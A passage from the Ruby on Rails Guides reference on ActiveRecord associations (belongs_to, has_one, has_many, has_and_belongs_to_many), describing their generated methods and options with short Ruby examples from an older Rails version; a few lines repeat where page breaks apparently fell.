- *`association`*`=(associate)`
- `build_`*`association`*`(attributes = {})`
- `create_`*`association`*`(attributes = {})`

In all of these methods, *`association`* is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:

```
class Order < ActiveRecord::Base
  belongs_to :customer
end
```

Each instance of the order model will have these methods:

```
customer
customer=
build_customer
create_customer
```

When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.

4.1.1.1 *`association`*`(force_reload = false)`

The *`association`* method returns the associated object, if any. If no associated object is found, it returns `nil`.

```
@customer = @order.customer
```

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.

4.1.1.2 *`association`*`=(associate)`

The *`association`*= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.

```
@order.customer = @customer
```

4.1.1.3 `build_`*`association`*`(attributes = {})`

The `build_`*`association`* method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will *not* yet be saved.

```
@customer = @order.build_customer(:customer_number => 123,
  :customer_name => "John Doe")
```

```
  :customer_name => "John Doe")
```

4.1.1.4 create_*association*(attributes = {})

The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object *will* be saved.

```
@customer = @order.create_customer(:customer_number => 123,
  :customer_name => "John Doe")
```

4.1.2 Options for `belongs_to`

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:

```
class Order < ActiveRecord::Base
  belongs_to :customer, :counter_cache => true,
    :conditions => "active = 1"
end
```

The `belongs_to` association supports these options:

- `:autosave`
- `:class_name`
- `:conditions`
- `:counter_cache`
- `:dependent`
- `:foreign_key`
- `:include`
- `:inverse_of`
- `:polymorphic`
- `:readonly`
- `:select`
- `:touch`
- `:validate`

4.1.2.1 :autosave

If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.

4.1.2.2 :class_name

If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is `Patron`, you'd set things up this way:

```
class Order < ActiveRecord::Base
  belongs_to :customer, :class_name => "Patron"
end
```

4.1.2.3 :conditions

The `:conditions` option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL `WHERE` clause).

```
class Order < ActiveRecord::Base
  belongs_to :customer, :conditions => "active = 1"
end
```

4.1.2.4 :counter_cache

The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models:

```
class Order < ActiveRecord::Base
  belongs_to :customer
end
class Customer < ActiveRecord::Base
```

```
  has_many :orders
end
```

With these declarations, asking for the value of `@customer.orders.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the *belonging* model:

```
class Order < ActiveRecord::Base
  belongs_to :customer, :counter_cache => true
end
class Customer < ActiveRecord::Base
  has_many :orders
end
```

With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method.

Although the `:counter_cache` option is specified on the model that includes the `belongs_to` declaration, the actual column must be added to the *associated* model. In the case above, you would need to add a column named `orders_count` to the `Customer` model. You can override the default column name if you need to:

```
class Order < ActiveRecord::Base
  belongs_to :customer, :counter_cache => :count_of_orders
end
class Customer < ActiveRecord::Base
  has_many :orders
end
```

Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.

4.1.2.5 `:dependent`

If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object *without* calling its `destroy` method.

You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.

4.1.2.6 `:foreign_key`

By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:

```
class Order < ActiveRecord::Base
  belongs_to :customer, :class_name => "Patron",
    :foreign_key => "patron_id"
end
```

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.1.2.7 `:include`

You can use the `:include` option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

```
class LineItem < ActiveRecord::Base
  belongs_to :order
end

class Order < ActiveRecord::Base
  belongs_to :customer
  has_many :line_items
end

class Customer < ActiveRecord::Base
  has_many :orders
end
```

If you frequently retrieve customers directly from line items (`@line_item.order.customer`), then you can make your code somewhat more efficient by including customers in the association from line items to orders:

```
class LineItem < ActiveRecord::Base
  belongs_to :order, :include => :customer
end

class Order < ActiveRecord::Base
  belongs_to :customer
  has_many :line_items
end

class Customer < ActiveRecord::Base
  has_many :orders
end
```

There's no need to use `:include` for immediate associations – that is, if you have `Order belongs_to :customer`, then the customer is eager-loaded automatically when it's needed.

4.1.2.8 `:inverse_of`

The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options.

```
class Customer < ActiveRecord::Base
  has_many :orders, :inverse_of => :customer
end

class Order < ActiveRecord::Base
  belongs_to :customer, :inverse_of => :orders
end
```

4.1.2.9 `:polymorphic`

Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail **earlier in this guide**.

4.1.2.10 `:readonly`

If you set the `:readonly` option to `true`, then the associated object will be read-only when retrieved via the association.

4.1.2.11 `:select`

The `:select` option lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

If you set the `:select` option on a `belongs_to` association, you should also set the `foreign_key` option to guarantee the correct results.

4.1.2.12 `:touch`

If you set the `:touch` option to `:true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:

```
class Order < ActiveRecord::Base
  belongs_to :customer, :touch => true
end

class Customer < ActiveRecord::Base
  has_many :orders
end
```

In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:

```
class Order < ActiveRecord::Base
  belongs_to :customer, :touch => :orders_updated_at
end
```

4.1.2.13 `:validate`

If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.

4.1.3 Do Any Associated Objects Exist?

You can see if any associated objects exist by using the *association*.nil? method:

```
if @order.customer.nil?
  @msg = "No customer found for this order"
end
```

4.1.4 When are Objects Saved?

Assigning an object to a belongs_to association does *not* automatically save the object. It does not save the associated object either.

4.2 has_one Association Reference

The has_one association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use belongs_to instead.

4.2.1 Methods Added by has_one

When you declare a has_one association, the declaring class automatically gains four methods related to the association:

- *association*(force_reload = false)
- *association*=(associate)
- build_*association*(attributes = {})
- create_*association*(attributes = {})

In all of these methods, *association* is replaced with the symbol passed as the first argument to has_one. For example, given the declaration:

```
class Supplier < ActiveRecord::Base
  has_one :account
end
```

Each instance of the Supplier model will have these methods:

```
account
account=
build_account
create_account
```

When initializing a new has_one or belongs_to association you must use the build_ prefix to build the association, rather than the association.build method that would be used for has_many or has_and_belongs_to_many associations. To create one, use the create_ prefix.

4.2.1.1 *association*(force_reload = false)

The *association* method returns the associated object, if any. If no associated object is found, it returns nil.

```
@account = @supplier.account
```

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

4.2.1.2 *association*=(associate)

The *association*= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.

```
@supplier.account = @account
```

4.2.1.3 build_*association*(attributes = {})

The build_*association* method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will *not* yet be saved.

```
@account = @supplier.build_account(:terms => "Net 30")
```

4.2.1.4 create_*association*(attributes = {})

The create_*association* method returns a new object of the associated type. This object will be instantiated from the

passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object *will* be saved.

```
@account = @supplier.create_account(:terms => "Net 30")
```

4.2.2 Options for `has_one`

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:

```
class Supplier < ActiveRecord::Base
  has_one :account, :class_name => "Billing", :dependent => :nullify
end
```

The `has_one` association supports these options:

- `:as`
- `:autosave`
- `:class_name`
- `:conditions`
- `:dependent`
- `:foreign_key`
- `:include`
- `:inverse_of`
- `:order`
- `:primary_key`
- `:readonly`
- `:select`
- `:source`
- `:source_type`
- `:through`
- `:validate`

4.2.2.1 `:as`

Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail **earlier in this guide**.

4.2.2.2 `:autosave`

If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.

4.2.2.3 `:class_name`

If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way:

```
class Supplier < ActiveRecord::Base
  has_one :account, :class_name => "Billing"
end
```

4.2.2.4 `:conditions`

The `:conditions` option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL `WHERE` clause).

```
class Supplier < ActiveRecord::Base
  has_one :account, :conditions => "confirmed = 1"
end
```

4.2.2.5 `:dependent`

If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object *without* calling its `destroy` method. If you set the `:dependent` option to `:nullify`, then deleting this object will set the foreign key in the association object to `NULL`.

4.2.2.6 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:

```
class Supplier < ActiveRecord::Base
  has_one :account, :foreign_key => "supp_id"
end
```

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.2.2.7 :include

You can use the `:include` option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

```
class Supplier < ActiveRecord::Base
  has_one :account
end

class Account < ActiveRecord::Base
  belongs_to :supplier
  belongs_to :representative
end

class Representative < ActiveRecord::Base
  has_many :accounts
end
```

If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:

```
class Supplier < ActiveRecord::Base
  has_one :account, :include => :representative
end

class Account < ActiveRecord::Base
  belongs_to :supplier
  belongs_to :representative
end

class Representative < ActiveRecord::Base
  has_many :accounts
end
```

4.2.2.8 :inverse_of

The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.

```
class Supplier < ActiveRecord::Base
  has_one :account, :inverse_of => :supplier
end

class Account < ActiveRecord::Base
  belongs_to :supplier, :inverse_of => :account
end
```

4.2.2.9 :order

The `:order` option dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). Because a `has_one` association will only retrieve a single associated object, this option should not be needed.

4.2.2.10 :primary_key

By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.

4.2.2.11 `:readonly`

If you set the `:readonly` option to `true`, then the associated object will be read-only when retrieved via the association.

4.2.2.12 `:select`

The `:select` option lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

4.2.2.13 `:source`

The `:source` option specifies the source association name for a `has_one :through` association.

4.2.2.14 `:source_type`

The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association.

4.2.2.15 `:through`

The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail **earlier in this guide**.

4.2.2.16 `:validate`

If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.

4.2.3 Do Any Associated Objects Exist?

You can see if any associated objects exist by using the *`association`*`.nil?` method:

```
if @supplier.account.nil?
  @msg = "No account found for this supplier"
end
```

4.2.4 When are Objects Saved?

When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.

If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.

If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.

If you want to assign an object to a `has_one` association without saving the object, use the *`association`*`.build` method.

4.3 `has_many` Association Reference

The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.

4.3.1 Methods Added by `has_many`

When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association:

- *`collection`*`(force_reload = false)`
- *`collection`*`<<(object, …)`
- *`collection`*`.delete(object, …)`
- *`collection`*`=objects`
- *`collection_singular`*`_ids`
- *`collection_singular`*`_ids=ids`
- *`collection`*`.clear`
- *`collection`*`.empty?`
- *`collection`*`.size`
- *`collection`*`.find(…)`
- *`collection`*`.where(…)`
- *`collection`*`.exists?(...)`

- *collection*.exists?(...)
- *collection*.build(attributes = {}, …)
- *collection*.create(attributes = {})

In all of these methods, *collection* is replaced with the symbol passed as the first argument to has_many, and *collection_singular* is replaced with the singularized version of that symbol.. For example, given the declaration:

```
class Customer < ActiveRecord::Base
  has_many :orders
end
```

Each instance of the customer model will have these methods:

```
orders(force_reload = false)
orders<<(object, ...)
orders.delete(object, ...)
orders=objects
order_ids
order_ids=ids
orders.clear
orders.empty?
orders.size
orders.find(...)
orders.where(...)
orders.exists?(...)
orders.build(attributes = {}, ...)
orders.create(attributes = {})
```

4.3.1.1 *collection*(force_reload = false)

The *collection* method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.

```
@orders = @customer.orders
```

4.3.1.2 *collection*<<(object, …)

The *collection*<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.

```
@customer.orders << @order1
```

4.3.1.3 *collection*.delete(object, …)

The *collection*.delete method removes one or more objects from the collection by setting their foreign keys to NULL.

```
@customer.orders.delete(@order1)
```

Additionally, objects will be destroyed if they're associated with :dependent => :destroy, and deleted if they're associated with :dependent => :delete_all.

4.3.1.4 *collection*=objects

The *collection*= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

4.3.1.5 *collection_singular*_ids

The *collection_singular*_ids method returns an array of the ids of the objects in the collection.

```
@order_ids = @customer.order_ids
```

4.3.1.6 *collection_singular*_ids=ids

The *collection_singular*_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

4.3.1.7 *collection*.clear

The *collection*.clear method removes every object from the collection. This destroys the associated objects if they are associated with :dependent => :destroy, deletes them directly from the database if :dependent => :delete_all, and otherwise sets their foreign keys to NULL.

4.3.1.8 *collection*.empty?

The *collection*.empty? method returns true if the collection does not contain any associated objects.

```
<% if @customer.orders.empty? %>
  No Orders Found
<% end %>
```

4.3.1.9 *collection*.size

The *collection*.size method returns the number of objects in the collection.

```
@order_count = @customer.orders.size
```

4.3.1.10 *collection*.find(…)

The *collection*.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find.

```
@open_orders = @customer.orders.where(:open => 1)
```

4.3.1.11 *collection*.where(…)

The *collection*.where method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.

```
@open_orders = @customer.orders.where(:open => true) # No query yet
@open_order = @open_orders.first # Now the database will be queried
```

4.3.1.12 *collection*.exists?(…)

The *collection*.exists? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

4.3.1.13 *collection*.build(attributes = {}, …)

The *collection*.build method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will *not* yet be saved.

```
@order = @customer.orders.build(:order_date => Time.now,
  :order_number => "A12345")
```

4.3.1.14 *collection*.create(attributes = {})

The *collection*.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object *will* be saved.

```
@order = @customer.orders.create(:order_date => Time.now,
  :order_number => "A12345")
```

4.3.2 Options for has_many

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the has_many association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:

```
class Customer < ActiveRecord::Base
  has_many :orders, :dependent => :delete_all, :validate => :false
end
```

The has_many association supports these options:

- :as
- :autosave
- :class_name
- :conditions
- :counter_sql
- :dependent
- :extend
- :finder_sql

- :foreign_key
- :group
- :include
- :inverse_of
- :limit
- :offset
- :order
- :primary_key
- :readonly
- :select
- :source
- :source_type
- :through
- :uniq
- :validate

4.3.2.1 :as

Setting the :as option indicates that this is a polymorphic association, as discussed **earlier in this guide**.

4.3.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.

4.3.2.3 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is Transaction, you'd set things up this way:

```
class Customer < ActiveRecord::Base
  has_many :orders, :class_name => "Transaction"
end
```

4.3.2.4 :conditions

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL WHERE clause).

```
class Customer < ActiveRecord::Base
  has_many :confirmed_orders, :class_name => "Order",
    :conditions => "confirmed = 1"
end
```

You can also set conditions via a hash:

```
class Customer < ActiveRecord::Base
  has_many :confirmed_orders, :class_name => "Order",
    :conditions => { :confirmed => true }
end
```

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @customer.confirmed_orders.create or @customer.confirmed_orders.build will create orders where the confirmed column has the value true.

If you need to evaluate conditions dynamically at runtime, use a proc:

```
class Customer < ActiveRecord::Base
  has_many :latest_orders, :class_name => "Order",
    :conditions => proc { ["orders.created_at > ?, 10.hours.ago] }
end
```

4.3.2.5 :counter_sql

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT ... FROM clause of your :finder_sql statement.

4.3.2.6 :dependent

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the :dependent option to :delete_all, then deleting this object will delete the associated objects *without* calling their destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the associated objects to NULL.

This option is ignored when you use the :through option on the association.

4.3.2.7 :extend

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail **later in this guide**.

4.3.2.8 :finder_sql

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

4.3.2.9 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

```
class Customer < ActiveRecord::Base
  has_many :orders, :foreign_key => "cust_id"
end
```

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.3.2.10 :group

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

```
class Customer < ActiveRecord::Base
  has_many :line_items, :through => :orders, :group => "orders.id"
end
```

4.3.2.11 :include

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

```
class Customer < ActiveRecord::Base
  has_many :orders
end

class Order < ActiveRecord::Base
  belongs_to :customer
  has_many :line_items
end

class LineItem < ActiveRecord::Base
  belongs_to :order
end
```

If you frequently retrieve line items directly from customers (@customer.orders.line_items), then you can make your code somewhat more efficient by including line items in the association from customers to orders:

```
class Customer < ActiveRecord::Base
  has_many :orders, :include => :line_items
end

class Order < ActiveRecord::Base
  belongs_to :customer
  has_many :line_items
end
```

```
class LineItem < ActiveRecord::Base
  belongs_to :order
end
```

4.3.2.12 :inverse_of

The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.

```
class Customer < ActiveRecord::Base
  has_many :orders, :inverse_of => :customer
end

class Order < ActiveRecord::Base
  belongs_to :customer, :inverse_of => :orders
end
```

4.3.2.13 :limit

The `:limit` option lets you restrict the total number of objects that will be fetched through an association.

```
class Customer < ActiveRecord::Base
  has_many :recent_orders, :class_name => "Order",
    :order => "order_date DESC", :limit => 100
end
```

4.3.2.14 :offset

The `:offset` option lets you specify the starting offset for fetching objects via an association. For example, if you set `:offset => 11`, it will skip the first 11 records.

4.3.2.15 :order

The `:order` option dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).

```
class Customer < ActiveRecord::Base
  has_many :orders, :order => "date_confirmed DESC"
end
```

4.3.2.16 :primary_key

By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.

4.3.2.17 :readonly

If you set the `:readonly` option to `true`, then the associated objects will be read-only when retrieved via the association.

4.3.2.18 :select

The `:select` option lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

If you specify your own `:select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.

4.3.2.19 :source

The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.

4.3.2.20 :source_type

The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association.

4.3.2.21 :through

The `:through` option specifies a join model through which to perform the query. `has_many :through` associations

The :through option specifies a join model through which to perform the query. has_many :through associations provide a way to implement many-to-many relationships, as discussed **earlier in this guide**.

4.3.2.22 :uniq

Set the :uniq option to true to keep the collection free of duplicates. This is mostly useful together with the :through option.

```
class Person < ActiveRecord::Base
  has_many :readings
  has_many :posts, :through => :readings
end

person = Person.create(:name => 'john')
post   = Post.create(:name => 'a1')
person.posts << post
person.posts << post
person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
```

In the above case there are two readings and person.posts brings out both of them even though these records are pointing to the same post.

Now let's set :uniq to true:

```
class Person
  has_many :readings
  has_many :posts, :through => :readings, :uniq => true
end

person = Person.create(:name => 'honda')
post   = Post.create(:name => 'a1')
person.posts << post
person.posts << post
person.posts.inspect # => [#<Post id: 7, name: "a1">]
Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
```

In the above case there are still two readings. However person.posts shows only one post because the collection loads only unique records.

4.3.2.23 :validate

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

4.3.3 When are Objects Saved?

When you assign an object to a has_many association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

If the parent object (the one declaring the has_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

If you want to assign an object to a has_many association without saving the object, use the *collection*.build method.

4.4 has_and_belongs_to_many Association Reference

The has_and_belongs_to_many association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.

4.4.1 Methods Added by has_and_belongs_to_many

When you declare a has_and_belongs_to_many association, the declaring class automatically gains 13 methods related to the association:

- *collection*(force_reload = false)
- *collection*<<(object, …)

- *collection*.delete(object, …)
- *collection*=objects
- *collection_singular*_ids
- *collection_singular*_ids=ids
- *collection*.clear
- *collection*.empty?
- *collection*.size
- *collection*.find(…)
- *collection*.where(…)
- *collection*.exists?(…)
- *collection*.build(attributes = {})
- *collection*.create(attributes = {})

In all of these methods, *collection* is replaced with the symbol passed as the first argument to has_and_belongs_to_many, and *collection_singular* is replaced with the singularized version of that symbol. For example, given the declaration:

```
class Part < ActiveRecord::Base
  has_and_belongs_to_many :assemblies
end
```

Each instance of the part model will have these methods:

```
assemblies(force_reload = false)
assemblies<<(object, ...)
assemblies.delete(object, ...)
assemblies=objects
assembly_ids
assembly_ids=ids
assemblies.clear
assemblies.empty?
assemblies.size
assemblies.find(...)
assemblies.where(...)
assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
```

4.4.1.1 Additional Column Methods

If the join table for a has_and_belongs_to_many association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.

The use of extra attributes on the join table in a has_and_belongs_to_many association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a has_many :through association instead of has_and_belongs_to_many.

4.4.1.2 *collection*(force_reload = false)

The *collection* method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.

```
@assemblies = @part.assemblies
```

4.4.1.3 *collection*<<(object, …)

The *collection*<< method adds one or more objects to the collection by creating records in the join table.

```
@part.assemblies << @assembly1
```

This method is aliased as *collection*.concat and *collection*.push.

4.4.1.4 *collection*.delete(object, …)

The *collection*.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

```
@part.assemblies.delete(@assembly1)
```

4.4.1.5 *collection*=objects

4.4.1.5 *collection*=objects

The *collection*= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

4.4.1.6 *collection_singular*_ids

The *collection_singular*_ids method returns an array of the ids of the objects in the collection.

```
@assembly_ids = @part.assembly_ids
```

4.4.1.7 *collection_singular*_ids=ids

The *collection_singular*_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

4.4.1.8 *collection*.clear

The *collection*.clear method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.

4.4.1.9 *collection*.empty?

The *collection*.empty? method returns true if the collection does not contain any associated objects.

```
<% if @part.assemblies.empty? %>
  This part is not used in any assemblies
<% end %>
```

4.4.1.10 *collection*.size

The *collection*.size method returns the number of objects in the collection.

```
@assembly_count = @part.assemblies.size
```

4.4.1.11 *collection*.find(…)

The *collection*.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find. It also adds the additional condition that the object must be in the collection.

```
@new_assemblies = @part.assemblies.all(
  :conditions => ["created_at > ?", 2.days.ago])
```

Beginning with Rails 3, supplying options to the ActiveRecord::Base.find method is discouraged. Use *collection*.where instead when you need to pass conditions.

4.4.1.12 *collection*.where(…)

The *collection*.where method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.

```
@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
```

4.4.1.13 *collection*.exists?(…)

The *collection*.exists? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

4.4.1.14 *collection*.build(attributes = {})

The *collection*.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will *not* yet be saved.

```
@assembly = @part.assemblies.build(
  {:assembly_name => "Transmission housing"})
```

4.4.1.15 *collection*.create(attributes = {})

The *collection*.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object *will* be saved.

```
@assembly = @part.assemblies.create(
```

```
@assembly = @part.assemblies.create(
  {:assembly_name => "Transmission housing"})
```

4.4.2 Options for `has_and_belongs_to_many`

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:

```
class Parts < ActiveRecord::Base
  has_and_belongs_to_many :assemblies, :uniq => true,
    :read_only => true
end
```

The `has_and_belongs_to_many` association supports these options:

- `:association_foreign_key`
- `:autosave`
- `:class_name`
- `:conditions`
- `:counter_sql`
- `:delete_sql`
- `:extend`
- `:finder_sql`
- `:foreign_key`
- `:group`
- `:include`
- `:insert_sql`
- `:join_table`
- `:limit`
- `:offset`
- `:order`
- `:readonly`
- `:select`
- `:uniq`
- `:validate`

4.4.2.1 `:association_foreign_key`

By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly:

The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example:

```
class User < ActiveRecord::Base
  has_and_belongs_to_many :friends, :class_name => "User",
    :foreign_key => "this_user_id",
    :association_foreign_key => "other_user_id"
end
```

4.4.2.2 `:autosave`

If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.

4.4.2.3 `:class_name`

If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way:

```
class Parts < ActiveRecord::Base
  has_and_belongs_to_many :assemblies, :class_name => "Gadget"
end
```

4.4.2.4 `:conditions`

The `:conditions` option lets you specify the conditions that the associated object must meet (in the syntax used by an

SQL `WHERE` clause).

```
class Parts < ActiveRecord::Base
  has_and_belongs_to_many :assemblies,
    :conditions => "factory = 'Seattle'"
end
```

You can also set conditions via a hash:

```
class Parts < ActiveRecord::Base
  has_and_belongs_to_many :assemblies,
    :conditions => { :factory => 'Seattle' }
end
```

If you use a hash-style `:conditions` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle".

4.4.2.5 `:counter_sql`

